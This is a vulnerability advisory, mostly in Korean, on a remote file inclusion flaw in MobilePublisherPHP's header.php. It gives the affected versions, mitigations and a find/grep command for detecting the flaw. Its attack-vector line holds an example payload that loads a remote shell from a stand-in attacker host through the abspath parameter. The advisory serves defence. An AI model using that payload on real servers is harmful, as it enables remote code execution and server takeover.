🇰🇷 한글 설명
MobilePublisherPHP 1.5 RC2 이전 버전의 header.php에서 abspath 매개변수를 통해 원격 파일을 검증 없이 포함시키는 RFI 취약점입니다. 공격자는 이를 악용하여 서버에서 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
오래된 웹 프로그램이 외부 파일을 로드할 때 제대로 검증하지 않아 해커가 악성 코드를 실행할 수 있습니다. 이 문제가 있으면 서버가 완전히 장악될 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in header.php in MobilePublisherPHP 1.5 RC2 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the abspath parameter.
📍 영향받는 시스템
MobilePublisherPHP 1.5 RC2 및 이전 모든 버전
⚔️ 공격 벡터
abspath 파라미터에 외부 URL을 전달하여 원격 PHP 파일 포함 및 실행 (예: ?abspath=http://attacker.com/shell.php)
🛡️ 대응 방법
소프트웨어 업그레이드 필수. PHP.ini에서 allow_url_include 비활성화 및 입력값 검증 구현
🔧 검증 코드
결과가 나오면 취약한 header.php 파일 위치 확인. 파일 존재 여부와 abspath 파라미터 직접 포함 여부로 취약성 판단
find / -name header.php -path '*MobilePublisher*' 2>/dev/null | xargs grep -l 'abspath' 2>/dev/null